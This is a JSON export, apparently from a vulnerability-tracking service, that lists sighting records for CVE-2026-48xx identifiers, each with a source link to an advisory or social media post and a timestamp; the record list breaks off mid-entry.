{"vulnerability": "2026-48", "sightings": [{"uuid": "1c2a0102-62ce-44e5-9d0b-31a43e77349a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4874", "type": "seen", "source": "https://access.redhat.com/security/cve/CVE-2026-4874", "content": "", "creation_timestamp": "2026-03-27T03:00:08.000000Z"}, {"uuid": "c7bfcc82-8434-40f4-a411-0b141ebbb62f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4887", "type": "seen", "source": "https://access.redhat.com/security/cve/CVE-2026-4887", "content": "", "creation_timestamp": "2026-03-27T03:00:07.000000Z"}, {"uuid": "74e396d5-3cf8-48c5-bde2-2ae567b41364", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4822", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhweiwwk722z", "content": "", "creation_timestamp": "2026-03-26T00:39:26.557904Z"}, {"uuid": "54826cfa-bf67-4236-9a2c-bf258b9ff91b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4824", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwervgkyq2s", "content": "", "creation_timestamp": "2026-03-26T00:44:27.057218Z"}, {"uuid": "9f674cce-f38f-4779-bd4a-33def0ac62d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4823", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwfmqpecr2d", "content": "", "creation_timestamp": "2026-03-26T00:59:28.035199Z"}, {"uuid": "966c7e61-831b-45d5-bfd9-c156186637ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4862", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxg3ige7z2d", "content": "", "creation_timestamp": "2026-03-26T10:40:22.331092Z"}, {"uuid": "84510cad-5828-4cc3-8c04-c1dff00f38a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4874", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-4874", "content": "", "creation_timestamp": "2026-03-26T07:16:22.000000Z"}, {"uuid": "0f71e08b-5595-46aa-8238-6ece1c574c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4850", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-4850", "content": "", "creation_timestamp": "2026-03-26T07:16:22.000000Z"}, {"uuid": "eb8529b9-ae66-4226-a2b3-ef806813c23b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4849", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-4849", "content": "", "creation_timestamp": "2026-03-26T07:16:22.000000Z"}, {"uuid": "11acfd1b-4f1e-42a1-9a78-7a5f7185b055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4831", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwn566a4e2z", "content": "", "creation_timestamp": "2026-03-26T03:13:55.262674Z"}, {"uuid": "c3bac06b-b736-4464-a749-f4b970e96e88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4809", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxrgxrhl225", "content": "", "creation_timestamp": "2026-03-26T14:03:38.935524Z"}, {"uuid": "88006258-9bea-44f1-950a-7bc0091f0e7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4826", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwo5hmd7j25", "content": "", "creation_timestamp": "2026-03-26T03:31:58.970364Z"}, {"uuid": "b4c384c8-fdc8-4044-a5a7-89d62a193396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4833", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwopelcoh24", "content": "", "creation_timestamp": "2026-03-26T03:41:59.783680Z"}, {"uuid": "20ca5439-a494-4528-802a-a5c6a22a4c41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4830", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwoyd2thc27", "content": "", "creation_timestamp": "2026-03-26T03:47:00.241227Z"}, {"uuid": "84832968-e6a1-4f51-9086-6fc7962fc63c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4897", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3mi73cjshg52r", "content": "", "creation_timestamp": "2026-03-29T11:48:45.541580Z"}, {"uuid": "85db855f-06c0-46b6-8c66-dd13f3feaf52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4840", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhwu3eol3e2t", "content": "", "creation_timestamp": "2026-03-26T05:18:11.645841Z"}, {"uuid": "0d9cc830-c1ac-4c73-a46d-6b28a2dcc9b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4867", "type": "seen", "source": "https://bsky.app/profile/ulisesgascon.com/post/3mhxy56xqkc27", "content": "", "creation_timestamp": "2026-03-26T16:03:27.048022Z"}, {"uuid": "bc81eacc-4028-4f8c-a369-6bdc9d35d5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-4809", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mhzzonopeo2k", "content": "", "creation_timestamp": "2026-03-27T11:36:26.352087Z"}, {"uuid": "b0a5fd15-995a-4c8d-8a2a-ad9e26033feb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4897", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhy5xpk5qr25", "content": "", "creation_timestamp": "2026-03-26T17:47:45.450102Z"}, {"uuid": "29f527f4-0b90-4a88-9135-eece466c2e78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4877", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhy6anxugc22", "content": "", "creation_timestamp": "2026-03-26T17:52:45.791523Z"}, {"uuid": "a0277fa1-a815-4c0e-9c9b-77eba07b0460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4876", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhy6jmeylm2s", "content": "", "creation_timestamp": "2026-03-26T17:57:46.141954Z"}, {"uuid": "dadf1fae-89cc-498a-85e4-4f2cc8e49b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4851", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhydyx4lem27", "content": "", "creation_timestamp": "2026-03-26T19:35:49.494150Z"}, {"uuid": "5888a118-85c1-4eab-b333-d2c646669dfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-4840", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116293948585515798", "content": "", "creation_timestamp": "2026-03-26T06:00:32.272713Z"}, {"uuid": "7bb765ea-b63c-42e4-af3f-c5ce6804f6bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-4840", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhwwh4uxu72f", "content": "", "creation_timestamp": "2026-03-26T06:00:33.835932Z"}, {"uuid": "c79c9b0c-223c-4846-abd1-ebafbea02c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4841", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwxhzcatf2o", "content": "", "creation_timestamp": "2026-03-26T06:18:56.608810Z"}, {"uuid": "d2997d04-68be-43ff-add7-aab19a6a9d31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4836", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwxpoty5j23", "content": "", "creation_timestamp": "2026-03-26T06:23:14.116620Z"}, {"uuid": "c4e50df6-ef3a-4576-9797-dd91dd5aa6f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4835", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwxynbsxv27", "content": "", "creation_timestamp": "2026-03-26T06:28:14.411836Z"}, {"uuid": "d5bff228-4cd0-4f3f-a350-d743713cd14a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4840", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwyblpnfu2t", "content": "", "creation_timestamp": "2026-03-26T06:33:14.642777Z"}, {"uuid": "bfed7f22-7bb5-40af-88a2-945976d632f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4839", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwykk52b62i", "content": "", "creation_timestamp": "2026-03-26T06:38:15.010928Z"}, {"uuid": "46f0b373-ee39-42cd-88f5-c66f1f63708b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4838", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwytil3tk2s", "content": "", "creation_timestamp": "2026-03-26T06:43:15.551965Z"}, {"uuid": "6872de1d-91eb-49ee-af97-d70b5a9fbc2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-4809", "type": "seen", "source": "https://infosec.exchange/ap/users/116075764941463905/statuses/116300931508288583", "content": "", "creation_timestamp": "2026-03-27T15:46:56.485516Z"}, {"uuid": "fd135c32-105c-432a-9ebb-93bd2c495e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-4809", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116297486638382284", "content": "", "creation_timestamp": "2026-03-26T21:00:18.023907Z"}, {"uuid": "71a12bed-df6c-480f-8667-6cda9a7665c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-4809", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhyiq23v4f26", "content": "", "creation_timestamp": "2026-03-26T21:00:19.536076Z"}, {"uuid": "63b86b14-f764-436f-8e42-fbdc784658a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4815", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvljmkbzc2q", "content": "", "creation_timestamp": "2026-03-25T17:12:25.703663Z"}, {"uuid": "e6d1bffe-243e-4245-9e42-6ee0d4170433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4867", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhym5fbmva2x", "content": "", "creation_timestamp": "2026-03-26T22:01:28.639654Z"}, {"uuid": "6ace13eb-9987-45d5-bc86-cca502f8854c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4861", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxb3avri227", "content": "", "creation_timestamp": "2026-03-26T09:10:45.792930Z"}, {"uuid": "47e88ba6-659d-4a49-b58b-9fc8edb2d8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4860", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxbdab5jt2i", "content": "", "creation_timestamp": "2026-03-26T09:15:13.416007Z"}, {"uuid": "3bdba2b3-a6eb-4538-ba93-df9978f8167c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4874", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxbmlzugk2t", "content": "", "creation_timestamp": "2026-03-26T09:20:27.934731Z"}, {"uuid": "11a30974-838f-4ae0-9eeb-6557bda81f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4845", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxbry4jca2n", "content": "", "creation_timestamp": "2026-03-26T09:23:28.176573Z"}, {"uuid": "7311098b-be6c-4c0e-ba38-14a0fad10bf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4849", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxc6o4ckg2i", "content": "", "creation_timestamp": "2026-03-26T09:30:34.022416Z"}, {"uuid": "b6374406-2404-4c8f-9598-3be4d40c49ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4846", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxcgdp6av27", "content": "", "creation_timestamp": "2026-03-26T09:34:51.576520Z"}, {"uuid": "75b65e37-e4d0-46a2-8c00-6683450b25b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4809", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhysk2ug2x2w", "content": "", "creation_timestamp": "2026-03-26T23:55:56.544695Z"}, {"uuid": "f4c9c8b5-65dd-47b4-bd85-92cc97e80c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4844", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxcyalhsc22", "content": "", "creation_timestamp": "2026-03-26T09:44:52.817495Z"}, {"uuid": "8445699f-5e6b-4502-a10b-8e1832f1b501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-4851", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116309873682821772", "content": "", "creation_timestamp": "2026-03-29T01:30:30.401361Z"}, {"uuid": "e539c1f8-4016-48fb-8960-16e632ade0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4862", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhysskofyy2w", "content": "", "creation_timestamp": "2026-03-27T00:00:42.508991Z"}, {"uuid": "3ab05ccd-a07b-4907-bf28-5b1cfa5fa906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4840", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-4840", "content": "", "creation_timestamp": "2026-03-26T04:16:40.000000Z"}, {"uuid": "fe0af6f9-5c7f-4aab-84ed-0b7082f38d95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4861", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhyssrmkgn2r", "content": "", "creation_timestamp": "2026-03-27T00:00:49.096599Z"}, {"uuid": "f475dc0a-7271-4968-be7f-598f55ddfbab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4842", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-4842", "content": "", "creation_timestamp": "2026-03-26T04:16:41.000000Z"}, {"uuid": "ab8706fc-ee3c-46f8-84e3-85df47fe632a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4844", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-4844", "content": "", "creation_timestamp": "2026-03-26T04:16:41.000000Z"}, {"uuid": "10dc6c4c-2f49-4268-ae62-eb96493d0a1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4841", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-4841", "content": "", "creation_timestamp": "2026-03-26T04:16:41.000000Z"}, {"uuid": "ad316f7f-59c7-4e28-a1e7-2fd6990f2c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4848", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxdb72qij2z", "content": "", "creation_timestamp": "2026-03-26T09:49:52.716744Z"}, {"uuid": "d5680304-47a4-4855-af89-491579c97330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxdk5iwkr2d", "content": "", "creation_timestamp": "2026-03-26T09:54:53.025164Z"}, {"uuid": "38a5c563-ed7e-4682-8bff-5dfc9b44610a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4850", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhxdt3xewl23", "content": "", "creation_timestamp": "2026-03-26T09:59:53.817739Z"}, {"uuid": "52bddac5-66d8-4009-a69a-49720a0b87d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4899", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhyuj2iphe2z", "content": "", "creation_timestamp": "2026-03-27T00:31:09.641074Z"}, {"uuid": "9d18d9db-4117-4468-af60-9b04c9e9f9b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4898", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhyv2xgn222g", "content": "", "creation_timestamp": "2026-03-27T00:41:10.249550Z"}, {"uuid": "76dd50a0-a232-4bfe-adda-6d1fe8e12045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://bsky.app/profile/ulisesgascon.com/post/3miey44uyhk2f", "content": "", "creation_timestamp": "2026-03-31T20:07:29.901348Z"}, {"uuid": "30f3964a-5ff7-4c6e-96d0-467a56780e64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mifw6dxnll2s", "content": "", "creation_timestamp": "2026-04-01T05:05:35.029873Z"}, {"uuid": "505fdd0a-6862-478b-be0d-45ef1e6d0f75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4820", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mihpusgg5427", "content": "", "creation_timestamp": "2026-04-01T22:18:11.104312Z"}, {"uuid": "68b56312-5d12-4199-8968-15b3df953ce4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4828", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miinwhnlje2w", "content": "", "creation_timestamp": "2026-04-02T07:16:00.357000Z"}, {"uuid": "0ca76229-6d3d-4202-aeb0-db96d30c8fea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4828", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mimldcykv52f", "content": "", "creation_timestamp": "2026-04-03T20:40:08.389074Z"}, {"uuid": "fc5225b4-5f9e-4d7f-94df-bf8a2f2dc0d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4850", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3minlqheimq2w", "content": "", "creation_timestamp": "2026-04-04T06:20:09.906111Z"}, {"uuid": "8c721149-0329-42e5-bb27-2acc2defce66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4896", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3minsbjw6nt2j", "content": "", "creation_timestamp": "2026-04-04T08:17:05.722575Z"}, {"uuid": "42979676-fc38-462e-a90d-aa746c0bf90e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4896", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3minsfvopfy2t", "content": "", "creation_timestamp": "2026-04-04T08:19:31.183700Z"}, {"uuid": "a45caedf-d58d-42b7-a3bf-2da36083daf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4896", "type": "seen", "source": "https://gist.github.com/ichintu/fe03294d8c001a0d8df6420779acc3d2", "content": "", "creation_timestamp": "2026-04-04T12:00:18.000000Z"}, {"uuid": "ac8384a0-ba9d-4272-9015-5c18a9f3366d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miwn6zjrp223", "content": "", "creation_timestamp": "2026-04-07T20:40:09.051473Z"}, {"uuid": "8c976349-2557-419e-951b-0ca89658af2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4837", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miyw3danrk2i", "content": "", "creation_timestamp": "2026-04-08T18:24:28.062772Z"}, {"uuid": "1a9a9712-4a67-44f8-a927-2aeacacbbea4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4897", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mj2tlhrxnc2b", "content": "", "creation_timestamp": "2026-04-09T12:45:08.925148Z"}, {"uuid": "649bd034-9db4-411b-bb25-41af835b1b90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4896", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mj5qmp3mpz2t", "content": "", "creation_timestamp": "2026-04-10T16:30:07.051156Z"}, {"uuid": "cf159c93-6b32-4a9f-af3d-3e76cec6bb63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4895", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj6rrskalb2z", "content": "", "creation_timestamp": "2026-04-11T02:23:32.196724Z"}, {"uuid": "8952c42d-38cc-4af3-b89a-8f439fb3c047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4810", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjeqcapg6m2r", "content": "", "creation_timestamp": "2026-04-13T11:12:54.920502Z"}, {"uuid": "588b8da6-9f05-40b3-9345-7c55cd0eee35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4837", "type": "seen", "source": "https://bsky.app/profile/vitobotta.com/post/3mjetjof4ys2x", "content": "", "creation_timestamp": "2026-04-13T12:10:45.398679Z"}, {"uuid": "67edff75-1791-4029-aab5-4abd76905c7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4837", "type": "seen", "source": "https://bsky.app/profile/vitobotta.com/post/3mjetjofdtk2x", "content": "", "creation_timestamp": "2026-04-13T12:10:45.916007Z"}, {"uuid": "b4941abf-5252-4bb8-83ce-44a372ef38c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://bsky.app/profile/releaseport.com/post/3mjhcbnzbpb2t", "content": "", "creation_timestamp": "2026-04-14T11:40:02.245334Z"}, {"uuid": 